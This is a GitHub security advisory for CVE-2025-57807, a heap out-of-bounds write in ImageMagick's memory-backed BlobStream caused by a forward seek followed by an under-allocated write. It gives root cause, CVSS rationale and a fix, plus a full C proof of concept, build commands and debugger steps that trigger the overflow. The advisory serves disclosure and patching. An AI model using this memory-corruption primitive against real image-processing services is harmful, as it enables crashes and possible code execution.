ghsa-23hg-53q6-hqfg
Vulnerability from github
Published
2025-09-05 20:09
Modified
2025-09-10 20:49
Summary
ImageMagick BlobStream Forward-Seek Under-Allocation
Details

Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component: MagickCore/blob.c (Blob I/O - BlobStream)
Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution


Executive Summary

For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.


Affected Scope

  • Versions confirmed: 7.1.2-0, 7.1.2-1

  • Architectures: Observed on macOS arm64; architecture-agnostic on LP64

  • Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()).

  • Not required: External delegates; special policies; integer wraparound


Technical Root Cause

Types (LP64):
offset: MagickOffsetType (signed 64-bit)
extent/length/quantum: size_t (unsigned 64-bit)
data: unsigned char*

Contract mismatch:

  • SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment.

  • WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then:

    q = data + (size_t)offset; memmove(q, src, length);

    There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extentq is beyond the allocation.

Wrap-free demonstration:
Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.


Exploitability & Reachability

  • Primitive: Controlled bytes written at a controlled displacement from the buffer base.

  • Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.

  • Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.


Impact Assessment

  • Integrity: High - adjacent object/metadata overwrite plausible.

  • Availability: High - reliably crashable (ASan and non-ASan).

  • Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.

  • RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.


CVSS v3.1 Rationale (9.8)

  • AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.

  • AC:L - a single forward seek + write suffices; no races or specialized state.

  • S:U - corruption localized to the ImageMagick process.

  • C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).

Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.


Violated Invariant

Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.

The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.


Remediation (Principle)

In WriteBlob() (BlobStream case):

  1. Checked requirement:
    need = (size_t)offset + length; → if need < (size_t)offset, overflow → fail.

  2. Ensure capacity ≥ need:
    target = MagickMax(extent + quantum + length, need);
    (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.)

  3. Reallocate to target + 1 before copying; then perform the move.

Companion hardening (recommended):

  • Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.

  • Centralize blob arithmetic in checked helpers.

  • Unit tests: forward-seek-then-write (success and overflow-reject).


Regression & Compatibility

  • Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).

  • Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.


Vendor Verification Checklist

  • Reproduce with a minimal in-memory BlobStream harness under ASan.

  • Apply fix; verify extent ≥ offset + length at all write sites.

  • Add forward-seek test cases (positive/negative).

  • Audit other growth sites (SetBlobExtent, stream helpers).

  • Clarify BlobStream seek semantics in documentation.

  • Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.


PoC / Reproduction / Notes

Environment

  • OS/Arch: macOS 14 (arm64)

  • Compiler: clang-17 with AddressSanitizer

  • ImageMagick: Q16-HDRI

  • Prefix: ~/opt/im-7.1.2-0

  • pkg-config: from PATH (no hard-coded /usr/local/...)


Build ImageMagick 7.1.2-0 (static, minimal)

```bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib

make -j"$(sysctl -n hw.ncpu)" make install

"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt ```


Build & Run the PoC (memory-backed BlobStream)

poc.c:
Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.

```c // poc.c

include

include

include

include

include "MagickCore/blob-private.h"

int main(int argc, char **argv) {

MagickCoreGenesis(argv[0], MagickTrue);

ExceptionInfo *e = AcquireExceptionInfo();

ImageInfo *ii = AcquireImageInfo();

Image *im = AcquireImage(ii, e);

if (!im) return 1;

// 1-byte memory blob → BlobStream

unsigned char buf = (unsigned char) malloc(1);

buf[0] = 0x41;

AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0

SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf

// Step 1: write 1 byte (creates BlobInfo + sets offset=1)

unsigned char A = 0x42;

(void) WriteBlob(im, 1, &A);

fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

// Step 2: seek way past end without growing capacity

const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB

(void) SeekBlob(im, big, SEEK_SET);

fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

// Step 3: small write → reallocation grows by quantum+length, not to offset+length

// memcpy then writes to data + offset (OOB)

const unsigned char payload[] = "PWN";

(void) WriteBlob(im, sizeof(payload), payload);

// If we get here, it didn't crash

fprintf(stderr, "[-] no crash; check ASan flags.\n");

(void) CloseBlob(im);

DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);

MagickCoreTerminus();

return 0;

} ```


run:

```bash

Use the private prefix for pkg-config

export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"

Strict ASan for crisp failure

export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'

Compile (static link pulls transitive deps via --static)

clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI)

Execute and capture

./poc 2>&1 | tee asan.log ```

Expected markers prior to the fault:

[+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1

An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then _platform_memmove / __sanitizer_internal_memmove).


Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

``` lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run

First stop (prime write)

(lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue

Second stop (post-seek write)

(lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void)((unsigned char)image->blob->data + (size_t)image->blob->offset)

Into the fault; if inside memmove (no locals):

(lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum ```

Expected at second stop:
type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in _platform_memmove.


Credits

Reported by: Lumina Mescuwa


Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-131",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-05T20:09:19Z",
    "nvd_published_at": "2025-09-05T22:15:34Z",
    "severity": "LOW"
  },
  "details": "**Reporter:**\u00a0Lumina Mescuwa  \n**Product:**\u00a0ImageMagick 7 (MagickCore)  \n**Component:**\u00a0`MagickCore/blob.c`\u00a0(Blob I/O - BlobStream)  \n**Tested:**\u00a07.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  \n**Impact:**\u00a0Heap out-of-bounds\u00a0**WRITE**\u00a0(attacker-controlled bytes at attacker-chosen offset) \u2192 memory corruption; potential code execution  \n\n---\n\n## Executive Summary\n\nFor memory-backed blobs (**BlobStream**),\u00a0[`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0permits advancing the stream\u00a0**offset**\u00a0beyond the current end without increasing capacity. The subsequent\u00a0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0then expands by\u00a0**`quantum + length`**\u00a0(amortized) instead of\u00a0**`offset + length`**, and copies to\u00a0`data + offset`. When\u00a0`offset \u226b extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2\u2076\u2074 arithmetic wrap, external delegates, or policy settings are required.\n\n---\n\n## Affected Scope\n\n- **Versions confirmed:**\u00a07.1.2-0, 7.1.2-1\n    \n- **Architectures:**\u00a0Observed on macOS arm64; architecture-agnostic on LP64\n    \n- Paths: MagickCore blob subsystem \u2014\u00a0**BlobStream**\u00a0([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0and\u00a0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).\n    \n- **Not required:**\u00a0External delegates; special policies; integer wraparound\n    \n\n---\n\n## Technical Root Cause\n\n**Types (LP64):**  \n`offset: MagickOffsetType`\u00a0(signed 64-bit)  \n`extent/length/quantum: size_t`\u00a0(unsigned 64-bit)  \n`data: unsigned char*`\n\n**Contract mismatch:**\n\n- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0(BlobStream) updates\u00a0`offset`\u00a0to arbitrary positions, including past end,\u00a0**without**\u00a0capacity adjustment.\n    \n- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0tests\u00a0`offset + length \u003e= extent`\u00a0and grows\u00a0**by**\u00a0`length + quantum`, doubles\u00a0`quantum`, reallocates to\u00a0`extent + 1`, then:\n    \n    ```\n    q = data + (size_t)offset;\n    memmove(q, src, length);\n    ```\n    \n    There is\u00a0**no guarantee**\u00a0that\u00a0`extent \u2265 offset + length`\u00a0post-growth. With\u00a0`offset \u226b extent`,\u00a0`q`\u00a0is beyond the allocation.\n    \n\n**Wrap-free demonstration:**  \nInitialize\u00a0`extent=1`, write one byte (`offset=1`), seek to\u00a0`0x10000000`\u00a0(256 MiB), then write 3\u20134 bytes. Growth remains \u003c\u003c\u00a0`offset + length`; the copy overruns the heap buffer.\n\n---\n\n## Exploitability \u0026 Reachability\n\n- **Primitive:**\u00a0Controlled bytes written at a controlled displacement from the buffer base.\n    \n- **Reachability:**\u00a0Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract\u00a0**permits**\u00a0it, thus creating a latent sink for first- or third-party encoders/writers.\n    \n- **Determinism:**\u00a0Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.\n    \n\n---\n\n## Impact Assessment\n\n- **Integrity:**\u00a0High - adjacent object/metadata overwrite plausible.\n    \n- **Availability:**\u00a0High - reliably crashable (ASan and non-ASan).\n    \n- **Confidentiality:**\u00a0High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.\n    \n- **RCE plausibility:**\u00a0Typical of heap OOB writes in long-lived image services; allocator/layout dependent.\n    \n\n---\n\n## CVSS v3.1 Rationale (9.8)\n\n- **AV:N / PR:N / UI:N**\u00a0- server-side image processing is commonly network-reachable without auth or user action.\n    \n- **AC:L**\u00a0- a single forward seek + write suffices; no races or specialized state.\n    \n- **S:U**\u00a0- corruption localized to the ImageMagick process.\n    \n- **C:H / I:H / A:H**\u00a0- A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).\n    \n\n_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._\n\n---\n\n## Violated Invariant\n\n\u003e **Before copying\u00a0`length`\u00a0bytes at\u00a0`offset`, enforce\u00a0`extent \u2265 offset + length`\u00a0with overflow-checked arithmetic.**\n\nThe BlobStream growth policy preserves amortized efficiency but fails to enforce this\u00a0**per-write**\u00a0safety invariant.\n\n---\n\n## Remediation (Principle)\n\nIn\u00a0[`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0(BlobStream case):\n\n1. **Checked requirement:**  \n    `need = (size_t)offset + length;`\u00a0\u2192 if\u00a0`need \u003c (size_t)offset`, overflow \u2192 fail.\n    \n2. **Ensure capacity \u2265 need:**  \n    `target = MagickMax(extent + quantum + length, need);`  \n    (Optionally loop, doubling\u00a0`quantum`, until\u00a0`extent \u2265 need`\u00a0to preserve amortization.)\n    \n3. **Reallocate to\u00a0`target + 1`\u00a0before copying;**\u00a0then perform the move.\n    \n\n**Companion hardening (recommended):**\n\n- Document or restrict\u00a0[`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134)\u00a0on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.\n    \n- Centralize blob arithmetic in checked helpers.\n    \n- Unit tests: forward-seek-then-write (success and overflow-reject).\n    \n\n---\n\n## Regression \u0026 Compatibility\n\n- **Behavior change:**\u00a0Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).\n    \n- **Memory profile:**\u00a0Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.\n    \n\n---\n\n## Vendor Verification Checklist\n\n- Reproduce with a minimal in-memory BlobStream harness under ASan.\n    \n- Apply fix; verify\u00a0`extent \u2265 offset + length`\u00a0at all write sites.\n    \n- Add forward-seek test cases (positive/negative).\n    \n- Audit other growth sites (`SetBlobExtent`, stream helpers).\n    \n- Clarify BlobStream seek semantics in documentation.\n    \n- Unit test: forward seek to large offset on\u00a0**BlobStream**\u00a0followed by 1\u20138 byte writes; assert either growth to\u00a0`need`\u00a0or clean failure.\n    \n\n---\n\n# PoC / Reproduction / Notes\n\n## Environment\n\n- **OS/Arch:**\u00a0macOS 14 (arm64)\n    \n- **Compiler:**\u00a0clang-17 with AddressSanitizer\n    \n- **ImageMagick:**\u00a0Q16-HDRI\n    \n- **Prefix:**\u00a0`~/opt/im-7.1.2-0`\n    \n- **`pkg-config`:**\u00a0from PATH (no hard-coded\u00a0`/usr/local/...`)\n    \n\n---\n\n## Build ImageMagick 7.1.2-0 (static, minimal)\n\n```bash\n./configure --prefix=\"$HOME/opt/im-7.1.2-0\" --enable-hdri --with-quantum-depth=16 \\\n  --disable-shared --enable-static --without-modules \\\n  --without-magick-plus-plus --disable-openmp --without-perl \\\n  --without-x --without-lqr --without-gslib\n\nmake -j\"$(sysctl -n hw.ncpu)\"\nmake install\n\n\"$HOME/opt/im-7.1.2-0/bin/magick\" -version \u003e magick_version.txt\n```\n\n---\n\n## Build \u0026 Run the PoC (memory-backed BlobStream)\n\n**`poc.c`:**  \n_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._\n\n```c\n// poc.c\n\n#include \u003cstdio.h\u003e\n\n#include \u003cstdlib.h\u003e\n\n#include \u003cMagickCore/MagickCore.h\u003e\n\n#include \u003cMagickCore/blob.h\u003e\n\n#include \"MagickCore/blob-private.h\"\n\n  \n\nint main(int argc, char **argv) {\n\nMagickCoreGenesis(argv[0], MagickTrue);\n\nExceptionInfo *e = AcquireExceptionInfo();\n\nImageInfo *ii = AcquireImageInfo();\n\nImage *im = AcquireImage(ii, e);\n\nif (!im) return 1;\n\n  \n\n// 1-byte memory blob \u2192 BlobStream\n\nunsigned char *buf = (unsigned char*) malloc(1);\n\nbuf[0] = 0x41;\n\nAttachBlob(im-\u003eblob, buf, 1); // type=BlobStream, extent=1, offset=0\n\nSetBlobExempt(im, MagickTrue); // don\u0027t free our malloc\u0027d buf\n\n  \n\n// Step 1: write 1 byte (creates BlobInfo + sets offset=1)\n\nunsigned char A = 0x42;\n\n(void) WriteBlob(im, 1, \u0026A);\n\nfprintf(stderr, \"[+] after 1 byte: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 2: seek way past end without growing capacity\n\nconst MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB\n\n(void) SeekBlob(im, big, SEEK_SET);\n\nfprintf(stderr, \"[+] after seek: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 3: small write \u2192 reallocation grows by quantum+length, not to offset+length\n\n// memcpy then writes to data + offset (OOB)\n\nconst unsigned char payload[] = \"PWN\";\n\n(void) WriteBlob(im, sizeof(payload), payload);\n\n  \n\n// If we get here, it didn\u0027t crash\n\nfprintf(stderr, \"[-] no crash; check ASan flags.\\n\");\n\n  \n\n(void) CloseBlob(im);\n\nDestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);\n\nMagickCoreTerminus();\n\nreturn 0;\n\n}\n```\n\n---\n\n`run:`\n\n```bash\n# Use the private prefix for pkg-config\nexport PKG_CONFIG_PATH=\"$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH\"\n\n# Strict ASan for crisp failure\nexport ASAN_OPTIONS=\u0027halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0\u0027\n\n# Compile (static link pulls transitive deps via --static)\nclang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \\\n  $(pkg-config --cflags MagickCore-7.Q16HDRI) \\\n  $(pkg-config --static --libs MagickCore-7.Q16HDRI)\n\n# Execute and capture\n./poc 2\u003e\u00261 | tee asan.log\n```\n\n**Expected markers prior to the fault:**\n\n```\n[+] after 1 byte: off=1 len=1\n[+] after seek:  off=268435456 len=1\n```\n\nAn ASan\u00a0**WRITE**\u00a0crash in\u00a0[`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)\u00a0follows (top frames:\u00a0`WriteBlob blob.c:\u003cline\u003e`, then\u00a0`_platform_memmove`\u00a0/\u00a0`__sanitizer_internal_memmove`).\n\n---\n\n## Debugger Verification (manual)\n\nLLDB can be used to snapshot the invariants; ASan alone is sufficient.\n\n```\nlldb ./poc\n(lldb) settings set use-color false\n(lldb) break set -n WriteBlob\n(lldb) run\n\n# First stop (prime write)\n(lldb) frame var length\n(lldb) frame var image-\u003eblob-\u003etype image-\u003eblob-\u003eoffset image-\u003eblob-\u003elength image-\u003eblob-\u003eextent image-\u003eblob-\u003equantum image-\u003eblob-\u003emapped\n(lldb) continue\n\n# Second stop (post-seek write)\n(lldb) frame var length\n(lldb) frame var image-\u003eblob-\u003etype image-\u003eblob-\u003eoffset image-\u003eblob-\u003elength image-\u003eblob-\u003eextent image-\u003eblob-\u003equantum image-\u003eblob-\u003emapped\n(lldb) expr -- (unsigned long long)image-\u003eblob-\u003eoffset + (unsigned long long)length\n(lldb) expr -- (void*)((unsigned char*)image-\u003eblob-\u003edata + (size_t)image-\u003eblob-\u003eoffset)\n\n# Into the fault; if inside memmove (no locals):\n(lldb) bt\n(lldb) frame select 1\n(lldb) frame var image-\u003eblob-\u003eoffset image-\u003eblob-\u003elength image-\u003eblob-\u003eextent image-\u003eblob-\u003equantum\n```\n\n**Expected at second stop:**  \n`type = BlobStream`\u00a0\u00b7\u00a0`offset \u2248 0x10000000`\u00a0(256 MiB) \u00b7\u00a0`length \u2248 3\u20134`\u00a0\u00b7\u00a0`extent \u2248 64 KiB`\u00a0(\u226a\u00a0`offset + length`) \u00b7\u00a0`quantum \u2248 128 KiB`\u00a0\u00b7\u00a0`mapped = MagickFalse`\u00a0\u00b7\u00a0`data + offset`\u00a0far beyond base; next\u00a0`continue`\u00a0crashes in\u00a0`_platform_memmove`.\n    \n---\n\n## Credits\n\n**Reported by:**\u00a0Lumina Mescuwa\n\n---",
  "id": "GHSA-23hg-53q6-hqfg",
  "modified": "2025-09-10T20:49:20Z",
  "published": "2025-09-05T20:09:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick BlobStream Forward-Seek Under-Allocation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…